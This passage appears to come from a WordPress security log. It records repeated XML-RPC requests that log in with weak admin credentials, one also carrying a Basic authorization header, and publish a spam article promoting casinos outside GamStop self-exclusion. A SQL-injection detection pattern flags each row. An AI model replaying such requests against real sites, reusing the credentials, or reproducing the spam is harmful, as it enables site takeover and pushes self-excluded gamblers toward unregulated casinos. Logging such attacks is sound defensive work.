must wager the bonus amount before you can withdraw any winnings. Additionally, some bonuses may have time limits or restrictions on the games you can play, so it's crucial to read the fine print before claiming any offer. By understanding the ins and outs of bonus mechanics, you can make the most of the promotions available at casinos not on GamStop.<\/p>\n\n<p><h2>Licensing and Regulation Differences<\/h2><\/p>\n\n<p>As previously mentioned, casinos not on GamStop are not licensed by the UKGC and may not be subject to the same regulations as UKGC-licensed casinos. While this lack of regulation can offer certain freedoms to operators, it can also leave players with fewer consumer protections. It's essential to do your due diligence and research any casino not on GamStop before signing up and depositing funds to ensure that they are reputable and trustworthy.<\/p>\n\n<p>Additionally, some casinos not on GamStop may be licensed in other jurisdictions, such as Malta or Curacao. While these licenses can provide some level of oversight and accountability, they <a href=\"https:\/\/sandcircles.co.uk\/\">uk casino not on gamstop<\/a> may not offer the same protections as a UKGC license. Ultimately, it's up to the player to decide what level of regulation they are comfortable with and to choose a casino that meets their standards for safety and security.<\/p>\n\n<p><h2>KYC vs. No-KYC Systems<\/h2><\/p>\n\n<p>One key difference between casinos not on GamStop is the implementation of know your customer (KYC) verification procedures. KYC is a process that requires players to verify their identity by providing documents such as a driver's license, passport, or utility bill. This verification helps casinos prevent fraud, money laundering, and underage gambling, and is a standard practice at many regulated online casinos.<\/p>\n\n<p>Some casinos not on GamStop may have less stringent KYC requirements or may offer a no-KYC option, allowing players to create an account and start playing without providing personal information. While this may offer convenience for some players, it can also pose risks in terms of security and player protection. Players should carefully consider the implications of choosing a no-KYC casino and weigh the potential benefits against the potential drawbacks.<\/p>\n\n<p><h2>Payment Methods<\/h2><\/p>\n\n<p>When playing at a casino not on GamStop with a £10 deposit, it's essential to consider the payment methods available for funding your account and withdrawing winnings. Many casinos offer a variety of payment options, including credit and debit cards, e-wallets, bank transfers, and cryptocurrencies, allowing players to choose the method that is most convenient for them.<\/p>\n\n<p>Additionally, some casinos may impose fees or processing times for certain payment methods, so it's essential to read the terms and conditions before making a deposit. Players should also consider factors such as security, reliability, and privacy when selecting a payment method to ensure a seamless and secure gaming experience.<\/p>\n\n<p><h2>Common Player Mistakes<\/h2><\/p>\n\n<p>Finally, it's essential to be aware of common mistakes that players make when gambling at casinos not on GamStop with a £10 deposit. One common pitfall is chasing losses, or trying to recoup money lost in previous wagers by increasing your bets. This can lead to even greater losses and a negative gambling experience, so it's essential to set limits for yourself and stick to them.<\/p>\n\n<p>Another common mistake is playing games without understanding the rules or odds, which can result in poor decision-making and unnecessary losses. By taking the time to learn about the games you play and practicing sound bankroll management, you can improve your chances of success and have a more enjoyable gaming experience.<\/p>\n\n<p>In conclusion, playing at a casino not on GamStop with a £10 deposit can be a fun and rewarding experience for players looking to enjoy their favorite games on a budget. By understanding the ins and outs of these casinos, including how they work, bonus mechanics, and payment methods, players can make informed decisions and have a positive gambling experience. Remember to set a budget, manage your bankroll, and avoid common mistakes to maximize your chances of success and enjoy all that online gambling has to offer.<\/p>]]><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>title<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>post_status<\/name>\r\n<value><string>publish<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_slug<\/name>\r\n<value><string>casino-not-on-gamstop-10-deposit-budget-gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>dateCreated<\/name>\r\n<value><dateTime.iso8601>20260324T17:05:05Z<\/dateTime.iso8601><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_password<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>categories<\/name>\r\n<value><array><data>\r\n<value><string>sandcircles.co.uk<\/string><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n<member>\r\n<name>custom_fields<\/name>\r\n<value><array><data>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_title<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_description<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise...<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_keywords<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string><\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n\r\n<\/struct><\/value>\r\n<\/param>\r\n<param>\r\n<value><boolean>1<\/boolean><\/value>\r\n<\/param>\r\n<\/params>\r\n<\/methodCall>"]
["2026-05-12 15:45:51","89.222.112.54","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/49.0.2623.112 Safari\/537.36","post","select.+(from|limit) >> <?xml version:'1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<p>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise of casinos not on GamStop, which cater to players looking for alternatives to UKGC-regulated sites. These casinos allow for a £10 deposit, making them accessible to players on a budget who still want to enjoy the thrill of gambling.<\/p>\n\n<p>When it comes to online casinos not on GamStop, the £10 deposit limit is a popular choice among players who want to manage their spending while still enjoying their favorite games. By setting a budget and sticking to it, players can avoid overspending and ensure that their gambling remains a fun and entertaining pastime.<\/p>\n\n<p>In this comprehensive guide, we will explore everything you need to know about casino not on GamStop with a £10 deposit. From how these casinos work behind the scenes to the ins and outs of bonus mechanics and payment methods, we will cover all the essential information to help you make informed decisions when choosing where to play. So, let's dive in and discover the exciting world of budget gaming at casinos not on GamStop. <\/p>\n\n<p><h2>The Basics of Casinos Not on GamStop<\/h2><\/p>\n\n<p>Casinos not on GamStop are online gambling sites that are not licensed by the UK Gambling Commission (UKGC). This means that they may not be subject to the same regulations and restrictions as UKGC-licensed casinos. As a result, players who have self-excluded through the GamStop program may still be able to access and play at these casinos.<\/p>\n\n<p>One of the key features of casinos not on GamStop is their flexibility when it comes to deposits. Many of these casinos allow players to deposit as little as £10, making them an attractive option for budget-conscious players. Additionally, casinos not on GamStop often offer a wide range of games, including slots, table games, and live dealer games, ensuring that there is something for every type of player to enjoy.<\/p>\n\n<p><h2>How Casinos Not on GamStop Work<\/h2><\/p>\n\n<p>Casinos not on GamStop operate similarly to traditional online casinos, with a few key differences. Since they are not regulated by the UKGC, these casinos may have more freedom when it comes to their game offerings, bonuses, and overall player experience. However, players should be aware that this lack of regulation can also mean fewer consumer protections, so it's essential to do thorough research before signing up and depositing funds.<\/p>\n\n<p>One of the primary advantages of casinos not on GamStop is the ability for players to self-exclude from individual sites, rather than being automatically excluded from all UKGC-licensed casinos through the GamStop program. This can be beneficial for players who want to take a break from gambling on certain sites but still have the option to play elsewhere.<\/p>\n\n<p><h2>RTP and Volatility Analysis<\/h2><\/p>\n\n<p>One essential factor to consider when choosing a casino not on GamStop with a £10 deposit is the return to player (RTP) and volatility of the games on offer. RTP is a metric that indicates the average percentage of bets that a game will return to players over time. A higher RTP generally means better odds for the player, so it's worth looking for games with high RTP values.<\/p>\n\n<p>Volatility, on the other hand, refers to the risk associated with a particular game. High volatility games tend to have larger payouts but less frequent wins, while low volatility games offer more consistent wins but with smaller prizes. Understanding the RTP and volatility of the games you play can help you make more informed decisions about where to wager your money.<\/p>\n\n<p><h2>Bankroll Logic<\/h2><\/p>\n\n<p>Managing your bankroll is crucial when playing at a casino not on GamStop with a £10 deposit. Setting a budget and sticking to it can help you avoid overspending and ensure that your gambling remains an enjoyable and sustainable activity. One popular strategy for managing your bankroll is the 5% rule, which involves betting no more than 5% of your total bankroll on any single wager.<\/p>\n\n<p>Another important aspect of bankroll management is knowing when to walk away. If you find yourself on a losing streak or feeling frustrated, it's essential to take a break and come back to the game with a clear head. By setting limits for yourself and practicing discipline, you can make the most of your £10 deposit and have a positive gambling experience.<\/p>\n\n<p><h2>Bonus Mechanics<\/h2><\/p>\n\n<p>Many casinos not on GamStop offer generous bonuses and promotions to attract new players and reward loyal customers. These bonuses can come in various forms, such as welcome bonuses, free spins, and cashback offers, and can provide a significant boost to your bankroll. However, it's essential to familiarize yourself with the terms and conditions of these bonuses to ensure that you understand how they work and what is required to unlock any winnings.<\/p>\n\n<p>One common bonus mechanic to be aware of is wagering requirements, which dictate how many times you must wager the bonus amount before you can withdraw any winnings. Additionally, some bonuses may have time limits or restrictions on the games you can play, so it's crucial to read the fine print before claiming any offer. By understanding the ins and outs of bonus mechanics, you can make the most of the promotions available at casinos not on GamStop.<\/p>\n\n<p><h2>Licensing and Regulation Differences<\/h2><\/p>\n\n<p>As previously mentioned, casinos not on GamStop are not licensed by the UKGC and may not be subject to the same regulations as UKGC-licensed casinos. While this lack of regulation can offer certain freedoms to operators, it can also leave players with fewer consumer protections. It's essential to do your due diligence and research any casino not on GamStop before signing up and depositing funds to ensure that they are reputable and trustworthy.<\/p>\n\n<p>Additionally, some casinos not on GamStop may be licensed in other jurisdictions, such as Malta or Curacao. While these licenses can provide some level of oversight and accountability, they <a href=\"https:\/\/sandcircles.co.uk\/\">uk casino not on gamstop<\/a> may not offer the same protections as a UKGC license. Ultimately, it's up to the player to decide what level of regulation they are comfortable with and to choose a casino that meets their standards for safety and security.<\/p>\n\n<p><h2>KYC vs. No-KYC Systems<\/h2><\/p>\n\n<p>One key difference between casinos not on GamStop is the implementation of know your customer (KYC) verification procedures. KYC is a process that requires players to verify their identity by providing documents such as a driver's license, passport, or utility bill. This verification helps casinos prevent fraud, money laundering, and underage gambling, and is a standard practice at many regulated online casinos.<\/p>\n\n<p>Some casinos not on GamStop may have less stringent KYC requirements or may offer a no-KYC option, allowing players to create an account and start playing without providing personal information. While this may offer convenience for some players, it can also pose risks in terms of security and player protection. Players should carefully consider the implications of choosing a no-KYC casino and weigh the potential benefits against the potential drawbacks.<\/p>\n\n<p><h2>Payment Methods<\/h2><\/p>\n\n<p>When playing at a casino not on GamStop with a £10 deposit, it's essential to consider the payment methods available for funding your account and withdrawing winnings. Many casinos offer a variety of payment options, including credit and debit cards, e-wallets, bank transfers, and cryptocurrencies, allowing players to choose the method that is most convenient for them.<\/p>\n\n<p>Additionally, some casinos may impose fees or processing times for certain payment methods, so it's essential to read the terms and conditions before making a deposit. Players should also consider factors such as security, reliability, and privacy when selecting a payment method to ensure a seamless and secure gaming experience.<\/p>\n\n<p><h2>Common Player Mistakes<\/h2><\/p>\n\n<p>Finally, it's essential to be aware of common mistakes that players make when gambling at casinos not on GamStop with a £10 deposit. One common pitfall is chasing losses, or trying to recoup money lost in previous wagers by increasing your bets. This can lead to even greater losses and a negative gambling experience, so it's essential to set limits for yourself and stick to them.<\/p>\n\n<p>Another common mistake is playing games without understanding the rules or odds, which can result in poor decision-making and unnecessary losses. By taking the time to learn about the games you play and practicing sound bankroll management, you can improve your chances of success and have a more enjoyable gaming experience.<\/p>\n\n<p>In conclusion, playing at a casino not on GamStop with a £10 deposit can be a fun and rewarding experience for players looking to enjoy their favorite games on a budget. By understanding the ins and outs of these casinos, including how they work, bonus mechanics, and payment methods, players can make informed decisions and have a positive gambling experience. Remember to set a budget, manage your bankroll, and avoid common mistakes to maximize your chances of success and enjoy all that online gambling has to offer.<\/p>]]><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>title<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>post_status<\/name>\r\n<value><string>publish<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_slug<\/name>\r\n<value><string>casino-not-on-gamstop-10-deposit-budget-gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>dateCreated<\/name>\r\n<value><dateTime.iso8601>20260324T17:05:05Z<\/dateTime.iso8601><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_password<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>categories<\/name>\r\n<value><array><data>\r\n<value><string>sandcircles.co.uk<\/string><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n<member>\r\n<name>custom_fields<\/name>\r\n<value><array><data>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_title<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_description<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise...<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_keywords<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string><\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n\r\n<\/struct><\/value>\r\n<\/param>\r\n<param>\r\n<value><boolean>1<\/boolean><\/value>\r\n<\/param>\r\n<\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/49.0.2623.112 Safari\/537.36\naccept-encoding:identity\nauthorization:Basic YWRtaW46TEJtTiB4QjVLIHk3U3QgbnVBRSBXbjJEIDU5V04=\ncontent-length:11634\nhost:47.254.126.238\ncontent-type:text\/xml\n\n<?xml version='1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<p>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise of casinos not on GamStop, which cater to players looking for alternatives to UKGC-regulated sites. These casinos allow for a £10 deposit, making them accessible to players on a budget who still want to enjoy the thrill of gambling.<\/p>\n\n<p>When it comes to online casinos not on GamStop, the £10 deposit limit is a popular choice among players who want to manage their spending while still enjoying their favorite games. By setting a budget and sticking to it, players can avoid overspending and ensure that their gambling remains a fun and entertaining pastime.<\/p>\n\n<p>In this comprehensive guide, we will explore everything you need to know about casino not on GamStop with a £10 deposit. From how these casinos work behind the scenes to the ins and outs of bonus mechanics and payment methods, we will cover all the essential information to help you make informed decisions when choosing where to play. So, let's dive in and discover the exciting world of budget gaming at casinos not on GamStop. <\/p>\n\n<p><h2>The Basics of Casinos Not on GamStop<\/h2><\/p>\n\n<p>Casinos not on GamStop are online gambling sites that are not licensed by the UK Gambling Commission (UKGC). This means that they may not be subject to the same regulations and restrictions as UKGC-licensed casinos. As a result, players who have self-excluded through the GamStop program may still be able to access and play at these casinos.<\/p>\n\n<p>One of the key features of casinos not on GamStop is their flexibility when it comes to deposits. Many of these casinos allow players to deposit as little as £10, making them an attractive option for budget-conscious players. Additionally, casinos not on GamStop often offer a wide range of games, including slots, table games, and live dealer games, ensuring that there is something for every type of player to enjoy.<\/p>\n\n<p><h2>How Casinos Not on GamStop Work<\/h2><\/p>\n\n<p>Casinos not on GamStop operate similarly to traditional online casinos, with a few key differences. Since they are not regulated by the UKGC, these casinos may have more freedom when it comes to their game offerings, bonuses, and overall player experience. However, players should be aware that this lack of regulation can also mean fewer consumer protections, so it's essential to do thorough research before signing up and depositing funds.<\/p>\n\n<p>One of the primary advantages of casinos not on GamStop is the ability for players to self-exclude from individual sites, rather than being automatically excluded from all UKGC-licensed casinos through the GamStop program. This can be beneficial for players who want to take a break from gambling on certain sites but still have the option to play elsewhere.<\/p>\n\n<p><h2>RTP and Volatility Analysis<\/h2><\/p>\n\n<p>One essential factor to consider when choosing a casino not on GamStop with a £10 deposit is the return to player (RTP) and volatility of the games on offer. RTP is a metric that indicates the average percentage of bets that a game will return to players over time. A higher RTP generally means better odds for the player, so it's worth looking for games with high RTP values.<\/p>\n\n<p>Volatility, on the other hand, refers to the risk associated with a particular game. High volatility games tend to have larger payouts but less frequent wins, while low volatility games offer more consistent wins but with smaller prizes. Understanding the RTP and volatility of the games you play can help you make more informed decisions about where to wager your money.<\/p>\n\n<p><h2>Bankroll Logic<\/h2><\/p>\n\n<p>Managing your bankroll is crucial when playing at a casino not on GamStop with a £10 deposit. Setting a budget and sticking to it can help you avoid overspending and ensure that your gambling remains an enjoyable and sustainable activity. One popular strategy for managing your bankroll is the 5% rule, which involves betting no more than 5% of your total bankroll on any single wager.<\/p>\n\n<p>Another important aspect of bankroll management is knowing when to walk away. If you find yourself on a losing streak or feeling frustrated, it's essential to take a break and come back to the game with a clear head. By setting limits for yourself and practicing discipline, you can make the most of your £10 deposit and have a positive gambling experience.<\/p>\n\n<p><h2>Bonus Mechanics<\/h2><\/p>\n\n<p>Many casinos not on GamStop offer generous bonuses and promotions to attract new players and reward loyal customers. These bonuses can come in various forms, such as welcome bonuses, free spins, and cashback offers, and can provide a significant boost to your bankroll. However, it's essential to familiarize yourself with the terms and conditions of these bonuses to ensure that you understand how they work and what is required to unlock any winnings.<\/p>\n\n<p>One common bonus mechanic to be aware of is wagering requirements, which dictate how many times you must wager the bonus amount before you can withdraw any winnings. Additionally, some bonuses may have time limits or restrictions on the games you can play, so it's crucial to read the fine print before claiming any offer. By understanding the ins and outs of bonus mechanics, you can make the most of the promotions available at casinos not on GamStop.<\/p>\n\n<p><h2>Licensing and Regulation Differences<\/h2><\/p>\n\n<p>As previously mentioned, casinos not on GamStop are not licensed by the UKGC and may not be subject to the same regulations as UKGC-licensed casinos. While this lack of regulation can offer certain freedoms to operators, it can also leave players with fewer consumer protections. It's essential to do your due diligence and research any casino not on GamStop before signing up and depositing funds to ensure that they are reputable and trustworthy.<\/p>\n\n<p>Additionally, some casinos not on GamStop may be licensed in other jurisdictions, such as Malta or Curacao. While these licenses can provide some level of oversight and accountability, they <a href=\"https:\/\/sandcircles.co.uk\/\">uk casino not on gamstop<\/a> may not offer the same protections as a UKGC license. Ultimately, it's up to the player to decide what level of regulation they are comfortable with and to choose a casino that meets their standards for safety and security.<\/p>\n\n<p><h2>KYC vs. No-KYC Systems<\/h2><\/p>\n\n<p>One key difference between casinos not on GamStop is the implementation of know your customer (KYC) verification procedures. KYC is a process that requires players to verify their identity by providing documents such as a driver's license, passport, or utility bill. This verification helps casinos prevent fraud, money laundering, and underage gambling, and is a standard practice at many regulated online casinos.<\/p>\n\n<p>Some casinos not on GamStop may have less stringent KYC requirements or may offer a no-KYC option, allowing players to create an account and start playing without providing personal information. While this may offer convenience for some players, it can also pose risks in terms of security and player protection. Players should carefully consider the implications of choosing a no-KYC casino and weigh the potential benefits against the potential drawbacks.<\/p>\n\n<p><h2>Payment Methods<\/h2><\/p>\n\n<p>When playing at a casino not on GamStop with a £10 deposit, it's essential to consider the payment methods available for funding your account and withdrawing winnings. Many casinos offer a variety of payment options, including credit and debit cards, e-wallets, bank transfers, and cryptocurrencies, allowing players to choose the method that is most convenient for them.<\/p>\n\n<p>Additionally, some casinos may impose fees or processing times for certain payment methods, so it's essential to read the terms and conditions before making a deposit. Players should also consider factors such as security, reliability, and privacy when selecting a payment method to ensure a seamless and secure gaming experience.<\/p>\n\n<p><h2>Common Player Mistakes<\/h2><\/p>\n\n<p>Finally, it's essential to be aware of common mistakes that players make when gambling at casinos not on GamStop with a £10 deposit. One common pitfall is chasing losses, or trying to recoup money lost in previous wagers by increasing your bets. This can lead to even greater losses and a negative gambling experience, so it's essential to set limits for yourself and stick to them.<\/p>\n\n<p>Another common mistake is playing games without understanding the rules or odds, which can result in poor decision-making and unnecessary losses. By taking the time to learn about the games you play and practicing sound bankroll management, you can improve your chances of success and have a more enjoyable gaming experience.<\/p>\n\n<p>In conclusion, playing at a casino not on GamStop with a £10 deposit can be a fun and rewarding experience for players looking to enjoy their favorite games on a budget. By understanding the ins and outs of these casinos, including how they work, bonus mechanics, and payment methods, players can make informed decisions and have a positive gambling experience. Remember to set a budget, manage your bankroll, and avoid common mistakes to maximize your chances of success and enjoy all that online gambling has to offer.<\/p>]]><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>title<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>post_status<\/name>\r\n<value><string>publish<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_slug<\/name>\r\n<value><string>casino-not-on-gamstop-10-deposit-budget-gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>dateCreated<\/name>\r\n<value><dateTime.iso8601>20260324T17:05:05Z<\/dateTime.iso8601><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_password<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>categories<\/name>\r\n<value><array><data>\r\n<value><string>sandcircles.co.uk<\/string><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n<member>\r\n<name>custom_fields<\/name>\r\n<value><array><data>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_title<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_description<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise...<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_keywords<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string><\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n\r\n<\/struct><\/value>\r\n<\/param>\r\n<param>\r\n<value><boolean>1<\/boolean><\/value>\r\n<\/param>\r\n<\/params>\r\n<\/methodCall>"]
["2026-05-12 15:45:51","89.222.112.54","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/49.0.2623.112 Safari\/537.36","post","select.+(from|limit) >> <?xml version:'1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<p>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise of casinos not on GamStop, which cater to players looking for alternatives to UKGC-regulated sites. These casinos allow for a £10 deposit, making them accessible to players on a budget who still want to enjoy the thrill of gambling.<\/p>\n\n<p>When it comes to online casinos not on GamStop, the £10 deposit limit is a popular choice among players who want to manage their spending while still enjoying their favorite games. By setting a budget and sticking to it, players can avoid overspending and ensure that their gambling remains a fun and entertaining pastime.<\/p>\n\n<p>In this comprehensive guide, we will explore everything you need to know about casino not on GamStop with a £10 deposit. From how these casinos work behind the scenes to the ins and outs of bonus mechanics and payment methods, we will cover all the essential information to help you make informed decisions when choosing where to play. So, let's dive in and discover the exciting world of budget gaming at casinos not on GamStop. <\/p>\n\n<p><h2>The Basics of Casinos Not on GamStop<\/h2><\/p>\n\n<p>Casinos not on GamStop are online gambling sites that are not licensed by the UK Gambling Commission (UKGC). This means that they may not be subject to the same regulations and restrictions as UKGC-licensed casinos. As a result, players who have self-excluded through the GamStop program may still be able to access and play at these casinos.<\/p>\n\n<p>One of the key features of casinos not on GamStop is their flexibility when it comes to deposits. Many of these casinos allow players to deposit as little as £10, making them an attractive option for budget-conscious players. Additionally, casinos not on GamStop often offer a wide range of games, including slots, table games, and live dealer games, ensuring that there is something for every type of player to enjoy.<\/p>\n\n<p><h2>How Casinos Not on GamStop Work<\/h2><\/p>\n\n<p>Casinos not on GamStop operate similarly to traditional online casinos, with a few key differences. Since they are not regulated by the UKGC, these casinos may have more freedom when it comes to their game offerings, bonuses, and overall player experience. However, players should be aware that this lack of regulation can also mean fewer consumer protections, so it's essential to do thorough research before signing up and depositing funds.<\/p>\n\n<p>One of the primary advantages of casinos not on GamStop is the ability for players to self-exclude from individual sites, rather than being automatically excluded from all UKGC-licensed casinos through the GamStop program. This can be beneficial for players who want to take a break from gambling on certain sites but still have the option to play elsewhere.<\/p>\n\n<p><h2>RTP and Volatility Analysis<\/h2><\/p>\n\n<p>One essential factor to consider when choosing a casino not on GamStop with a £10 deposit is the return to player (RTP) and volatility of the games on offer. RTP is a metric that indicates the average percentage of bets that a game will return to players over time. A higher RTP generally means better odds for the player, so it's worth looking for games with high RTP values.<\/p>\n\n<p>Volatility, on the other hand, refers to the risk associated with a particular game. High volatility games tend to have larger payouts but less frequent wins, while low volatility games offer more consistent wins but with smaller prizes. Understanding the RTP and volatility of the games you play can help you make more informed decisions about where to wager your money.<\/p>\n\n<p><h2>Bankroll Logic<\/h2><\/p>\n\n<p>Managing your bankroll is crucial when playing at a casino not on GamStop with a £10 deposit. Setting a budget and sticking to it can help you avoid overspending and ensure that your gambling remains an enjoyable and sustainable activity. One popular strategy for managing your bankroll is the 5% rule, which involves betting no more than 5% of your total bankroll on any single wager.<\/p>\n\n<p>Another important aspect of bankroll management is knowing when to walk away. If you find yourself on a losing streak or feeling frustrated, it's essential to take a break and come back to the game with a clear head. By setting limits for yourself and practicing discipline, you can make the most of your £10 deposit and have a positive gambling experience.<\/p>\n\n<p><h2>Bonus Mechanics<\/h2><\/p>\n\n<p>Many casinos not on GamStop offer generous bonuses and promotions to attract new players and reward loyal customers. These bonuses can come in various forms, such as welcome bonuses, free spins, and cashback offers, and can provide a significant boost to your bankroll. However, it's essential to familiarize yourself with the terms and conditions of these bonuses to ensure that you understand how they work and what is required to unlock any winnings.<\/p>\n\n<p>One common bonus mechanic to be aware of is wagering requirements, which dictate how many times you must wager the bonus amount before you can withdraw any winnings. Additionally, some bonuses may have time limits or restrictions on the games you can play, so it's crucial to read the fine print before claiming any offer. By understanding the ins and outs of bonus mechanics, you can make the most of the promotions available at casinos not on GamStop.<\/p>\n\n<p><h2>Licensing and Regulation Differences<\/h2><\/p>\n\n<p>As previously mentioned, casinos not on GamStop are not licensed by the UKGC and may not be subject to the same regulations as UKGC-licensed casinos. While this lack of regulation can offer certain freedoms to operators, it can also leave players with fewer consumer protections. It's essential to do your due diligence and research any casino not on GamStop before signing up and depositing funds to ensure that they are reputable and trustworthy.<\/p>\n\n<p>Additionally, some casinos not on GamStop may be licensed in other jurisdictions, such as Malta or Curacao. While these licenses can provide some level of oversight and accountability, they <a href=\"https:\/\/sandcircles.co.uk\/\">uk casino not on gamstop<\/a> may not offer the same protections as a UKGC license. Ultimately, it's up to the player to decide what level of regulation they are comfortable with and to choose a casino that meets their standards for safety and security.<\/p>\n\n<p><h2>KYC vs. No-KYC Systems<\/h2><\/p>\n\n<p>One key difference between casinos not on GamStop is the implementation of know your customer (KYC) verification procedures. KYC is a process that requires players to verify their identity by providing documents such as a driver's license, passport, or utility bill. This verification helps casinos prevent fraud, money laundering, and underage gambling, and is a standard practice at many regulated online casinos.<\/p>\n\n<p>Some casinos not on GamStop may have less stringent KYC requirements or may offer a no-KYC option, allowing players to create an account and start playing without providing personal information. While this may offer convenience for some players, it can also pose risks in terms of security and player protection. Players should carefully consider the implications of choosing a no-KYC casino and weigh the potential benefits against the potential drawbacks.<\/p>\n\n<p><h2>Payment Methods<\/h2><\/p>\n\n<p>When playing at a casino not on GamStop with a £10 deposit, it's essential to consider the payment methods available for funding your account and withdrawing winnings. Many casinos offer a variety of payment options, including credit and debit cards, e-wallets, bank transfers, and cryptocurrencies, allowing players to choose the method that is most convenient for them.<\/p>\n\n<p>Additionally, some casinos may impose fees or processing times for certain payment methods, so it's essential to read the terms and conditions before making a deposit. Players should also consider factors such as security, reliability, and privacy when selecting a payment method to ensure a seamless and secure gaming experience.<\/p>\n\n<p><h2>Common Player Mistakes<\/h2><\/p>\n\n<p>Finally, it's essential to be aware of common mistakes that players make 